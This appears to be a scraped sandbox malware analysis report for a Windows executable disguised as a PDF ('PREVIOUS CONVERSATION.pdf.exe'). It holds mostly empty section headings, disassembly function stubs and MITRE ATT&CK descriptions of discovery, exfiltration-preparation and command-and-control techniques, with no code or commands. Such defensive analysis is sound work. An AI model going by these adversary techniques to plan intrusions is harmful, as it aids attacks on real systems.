Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report PREVIOUS CONVERSATION.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Function 004BA019, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370
timeCOMMON

Function 00447818, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
COMMON

Function 00438418, Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Function 00438DCE, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Function 0049ACC4, Relevance: 30.3, APIs: 20, Instructions: 287
COMMON

Function 0043879C, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 118
COMMON

Function 0042B0D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Function 0043834E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
registryCOMMON

Function 004AD519, Relevance: 9.3, APIs: 6, Instructions: 284
COMMON

Function 004AE22E, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre